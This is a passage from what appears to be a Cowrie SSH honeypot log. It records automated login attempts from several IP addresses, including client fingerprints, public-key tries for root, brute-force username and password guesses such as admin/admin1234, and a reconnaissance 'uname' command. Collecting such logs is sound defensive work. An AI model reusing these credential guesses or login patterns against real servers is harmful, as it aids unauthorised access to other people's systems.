{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:00.888320Z","src_ip":"95.90.13.168","session":"3ffc4c4b1db1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:01.005853Z","src_ip":"95.90.13.168","session":"3ffc4c4b1db1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:01.471907Z","src_ip":"95.90.13.168","session":"3ffc4c4b1db1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:02.583596Z","src_ip":"95.90.13.168","session":"3ffc4c4b1db1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":50100,"dst_ip":"10.17.0.5","dst_port":22,"session":"bab376b0adac","protocol":"ssh","message":"New connection: 182.180.57.212:50100 (10.17.0.5:22) [session: bab376b0adac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:07.762817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:07.770308Z","src_ip":"182.180.57.212","session":"bab376b0adac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:08.001012Z","src_ip":"182.180.57.212","session":"bab376b0adac","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:08.123129Z","src_ip":"8.218.166.49","session":"041c22fd87ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:08.964543Z","src_ip":"182.180.57.212","session":"bab376b0adac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:10.197856Z","src_ip":"182.180.57.212","session":"bab376b0adac","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:10.379605Z","src_ip":"8.218.166.49","session":"041c22fd87ba","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:10.382467Z","src_ip":"8.218.166.49","session":"041c22fd87ba","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:10.725358Z","src_ip":"8.218.166.49","session":"041c22fd87ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.8","message":"Connection lost after 34.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:10.730355Z","src_ip":"8.218.166.49","session":"041c22fd87ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.95.10.204","src_port":20834,"dst_ip":"10.17.0.5","dst_port":22,"session":"66cef4361cf7","protocol":"ssh","message":"New connection: 192.95.10.204:20834 (10.17.0.5:22) [session: 66cef4361cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:21.561841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:21.565830Z","src_ip":"192.95.10.204","session":"66cef4361cf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:21.585515Z","src_ip":"192.95.10.204","session":"66cef4361cf7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:27:4b:c3:b0:35:05:62:99:e8:28:ce:a6:4b:d3:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOtcSfCbtpF+cWkiEz93BN3K/uQO9Rjbji4M/zFlPYL47ZqFV8Bn3XrREluHGe+nedfNK2+xtiiRsitbkA2fyle7y56fADzVDzEC/hpzlycbiM3HUxTm4NN2DPqVfBEP9L2FsyvT6MXiFxmHGUvpyRFaDN9a9BKgj1yKCaKexQI+1qfNyWnXxMNe5v5kI5wB8YsnckeVbKTtnHgot3sL8q+MPJoGzym8FXofI2UKnLNvS+cIrag5oxzR3RoxlOYpbiUnqPzSQorrHTB6dvqx9Nak3EtEGs2N+z43tJ0zRphsLO+TH5BzhtkFXdf2gQk4SVmhO7Z8IFnzen5bYWQciB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:27:4b:c3:b0:35:05:62:99:e8:28:ce:a6:4b:d3:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:21.656786Z","src_ip":"192.95.10.204","session":"66cef4361cf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:27:4b:c3:b0:35:05:62:99:e8:28:ce:a6:4b:d3:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOtcSfCbtpF+cWkiEz93BN3K/uQO9Rjbji4M/zFlPYL47ZqFV8Bn3XrREluHGe+nedfNK2+xtiiRsitbkA2fyle7y56fADzVDzEC/hpzlycbiM3HUxTm4NN2DPqVfBEP9L2FsyvT6MXiFxmHGUvpyRFaDN9a9BKgj1yKCaKexQI+1qfNyWnXxMNe5v5kI5wB8YsnckeVbKTtnHgot3sL8q+MPJoGzym8FXofI2UKnLNvS+cIrag5oxzR3RoxlOYpbiUnqPzSQorrHTB6dvqx9Nak3EtEGs2N+z43tJ0zRphsLO+TH5BzhtkFXdf2gQk4SVmhO7Z8IFnzen5bYWQciB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:21.660373Z","src_ip":"192.95.10.204","session":"66cef4361cf7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:f8:84:89:57:24:08:80:73:08:a7:f4:18:eb:1a:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDtYmugPK88aNWOA7uP7EMcd7zD8KEcs/Bfbju6MM7fL6rzxG6vHBslMcmHiJouK0bFXPvl/e29MKHxRN2LwKayAFim2Z6JTaCiRVPhrKROI7Udq1n4Taqv51s3Yj2bnm+IykZaI5MooSpYyatjNzOm+ETtUpf8MmZhbO2rVqA5r2v7V9dwkPsqVmog9KN1NOXAGrq7OE+CZHVRFTYo6gHuIzQIfq4oxnc+ubrO4zdR5eJ2g9OUnafq5pRzceeffHh1fT2LY4nB4uATe2kPozRYUFvZa3b4MhB55GmuUCcHqXYoE41PQdibYzIfUK1KuQTue6ye850zEafBstRGotWtLs9r1imi3Ri4H8fN55Hg8+HgVfV/btCvYWZ7bJzDAbtHCNhLfqEjLUaFsKcB3zm4aIqN8oWAnGkl6o2ImqcsaUZ5UdKhpzH7dvN+zI0dgB9PYtgXkoEgoTTXQPpe31dYVSj6BvkAbcE2hBy18T2CH2gFejYzFXcdEZMkIu8i9AscDDJeKNSt/R1tvnox7M578hwm4ZKmh0D2U/vbmFH3Ro+J0W6ho4i45JRvPLDkQIQ6eFfuXoy+useaFHCivafafKkGlxlRAEPHlK7EB6Z3MsvC0Qm258XCqPuEMFgbZbOBI3aLeGmaQiOf8nTMGmJfePpsVxnqVxJJBLCq3FYQew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:f8:84:89:57:24:08:80:73:08:a7:f4:18:eb:1a:56","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:21.680277Z","src_ip":"192.95.10.204","session":"66cef4361cf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:f8:84:89:57:24:08:80:73:08:a7:f4:18:eb:1a:56","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDtYmugPK88aNWOA7uP7EMcd7zD8KEcs/Bfbju6MM7fL6rzxG6vHBslMcmHiJouK0bFXPvl/e29MKHxRN2LwKayAFim2Z6JTaCiRVPhrKROI7Udq1n4Taqv51s3Yj2bnm+IykZaI5MooSpYyatjNzOm+ETtUpf8MmZhbO2rVqA5r2v7V9dwkPsqVmog9KN1NOXAGrq7OE+CZHVRFTYo6gHuIzQIfq4oxnc+ubrO4zdR5eJ2g9OUnafq5pRzceeffHh1fT2LY4nB4uATe2kPozRYUFvZa3b4MhB55GmuUCcHqXYoE41PQdibYzIfUK1KuQTue6ye850zEafBstRGotWtLs9r1imi3Ri4H8fN55Hg8+HgVfV/btCvYWZ7bJzDAbtHCNhLfqEjLUaFsKcB3zm4aIqN8oWAnGkl6o2ImqcsaUZ5UdKhpzH7dvN+zI0dgB9PYtgXkoEgoTTXQPpe31dYVSj6BvkAbcE2hBy18T2CH2gFejYzFXcdEZMkIu8i9AscDDJeKNSt/R1tvnox7M578hwm4ZKmh0D2U/vbmFH3Ro+J0W6ho4i45JRvPLDkQIQ6eFfuXoy+useaFHCivafafKkGlxlRAEPHlK7EB6Z3MsvC0Qm258XCqPuEMFgbZbOBI3aLeGmaQiOf8nTMGmJfePpsVxnqVxJJBLCq3FYQew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:21.685759Z","src_ip":"192.95.10.204","session":"66cef4361cf7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:5a:5d:99:c7:73:ca:2c:41:3c:f0:56:6e:e1:5d:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3bybAowedsxEdvoG/tJxC/ztLvOEZGXMMAMKaKzKwqt2XVwlV1ck9aljj0oC3F12Qt8w5WFM1tMejp3Tj+Jl6KO0trGvOLQcc9HPZibp6OXsuPHIIdcOcKYGgwVU+bT/jXRU/vK3CxiAjtsnXcZSSd+HaQ07G5INMt1ETu//12bW/tfPF6x5+z3ayZmoU+18+fpKi9YKYLVCiDl95gCd0qSvZYOjuzI/kPZlzERkmiWucibjnDIKIN69rBwNUr7yd7jSHrK8ScPfH1nzk6Ee6VyL0/fPqNf8iUdspDAZy7usYkB/HP04AVhvlax3dnEg3vdqcUi1UOXNR7ZXFq8KJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:5a:5d:99:c7:73:ca:2c:41:3c:f0:56:6e:e1:5d:94","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:21.705296Z","src_ip":"192.95.10.204","session":"66cef4361cf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:5a:5d:99:c7:73:ca:2c:41:3c:f0:56:6e:e1:5d:94","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3bybAowedsxEdvoG/tJxC/ztLvOEZGXMMAMKaKzKwqt2XVwlV1ck9aljj0oC3F12Qt8w5WFM1tMejp3Tj+Jl6KO0trGvOLQcc9HPZibp6OXsuPHIIdcOcKYGgwVU+bT/jXRU/vK3CxiAjtsnXcZSSd+HaQ07G5INMt1ETu//12bW/tfPF6x5+z3ayZmoU+18+fpKi9YKYLVCiDl95gCd0qSvZYOjuzI/kPZlzERkmiWucibjnDIKIN69rBwNUr7yd7jSHrK8ScPfH1nzk6Ee6VyL0/fPqNf8iUdspDAZy7usYkB/HP04AVhvlax3dnEg3vdqcUi1UOXNR7ZXFq8KJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:21.709405Z","src_ip":"192.95.10.204","session":"66cef4361cf7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c0:5c:8c:eb:d3:95:f8:29:0f:0e:77:39:f8:ba:8b:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVbtdWnKiciok41J9VwY+wRDJjKsTQk+9a+cl9I4v+FZgFQ35QLwZQsSl2an7/qxdJjah4l61V0y5mNVE87bbnApaYVxcg6El/GlEJA9Uq+aNJvdqO1ahGlq0pjSfkJ6k3kTWRV9J2tVHtblwN3nmegFSVXLuJ8lAv5B2H+hwCcqCwMYM3xpUjj8thFwyqKEP0gJacp+CkDY1xM+xgk+eUSz0LiAgJBGjYze8lZnDB4XcHxWIzDjyoHy+KxzukquzVytLVJd/gNG1248fDohpqKo2zKG9KOrJKBXJT9GbWlIyGRoAwEwP2GU4QE27ov2vjYz5mLwwEYFZq2Xr4g2Eb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c0:5c:8c:eb:d3:95:f8:29:0f:0e:77:39:f8:ba:8b:31","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:21.729654Z","src_ip":"192.95.10.204","session":"66cef4361cf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c0:5c:8c:eb:d3:95:f8:29:0f:0e:77:39:f8:ba:8b:31","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDVbtdWnKiciok41J9VwY+wRDJjKsTQk+9a+cl9I4v+FZgFQ35QLwZQsSl2an7/qxdJjah4l61V0y5mNVE87bbnApaYVxcg6El/GlEJA9Uq+aNJvdqO1ahGlq0pjSfkJ6k3kTWRV9J2tVHtblwN3nmegFSVXLuJ8lAv5B2H+hwCcqCwMYM3xpUjj8thFwyqKEP0gJacp+CkDY1xM+xgk+eUSz0LiAgJBGjYze8lZnDB4XcHxWIzDjyoHy+KxzukquzVytLVJd/gNG1248fDohpqKo2zKG9KOrJKBXJT9GbWlIyGRoAwEwP2GU4QE27ov2vjYz5mLwwEYFZq2Xr4g2Eb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:21.733467Z","src_ip":"192.95.10.204","session":"66cef4361cf7","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:53:fd:fd:fc:34:14:59:2a:71:b7:00:f3:6d:e3:07","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP33J4cF8dHP3Uep760f93qZZQuENGLXpqrIw0Zhcttv","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 70:53:fd:fd:fc:34:14:59:2a:71:b7:00:f3:6d:e3:07","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:21.754267Z","src_ip":"192.95.10.204","session":"66cef4361cf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:53:fd:fd:fc:34:14:59:2a:71:b7:00:f3:6d:e3:07","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP33J4cF8dHP3Uep760f93qZZQuENGLXpqrIw0Zhcttv","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:21.758435Z","src_ip":"192.95.10.204","session":"66cef4361cf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:21.779220Z","src_ip":"192.95.10.204","session":"66cef4361cf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":44050,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2376eb5972e","protocol":"ssh","message":"New connection: 183.182.125.142:44050 (10.17.0.5:22) [session: a2376eb5972e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:28.540807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:28.545112Z","src_ip":"183.182.125.142","session":"a2376eb5972e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:28.815071Z","src_ip":"183.182.125.142","session":"a2376eb5972e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ec2-user","message":"login attempt [root/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:29.930238Z","src_ip":"183.182.125.142","session":"a2376eb5972e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:31.205465Z","src_ip":"183.182.125.142","session":"a2376eb5972e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":60885,"dst_ip":"10.17.0.5","dst_port":22,"session":"23093bcce175","protocol":"ssh","message":"New connection: 95.90.13.168:60885 (10.17.0.5:22) [session: 23093bcce175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:39.762503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:23:39.766311Z","src_ip":"95.90.13.168","session":"23093bcce175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","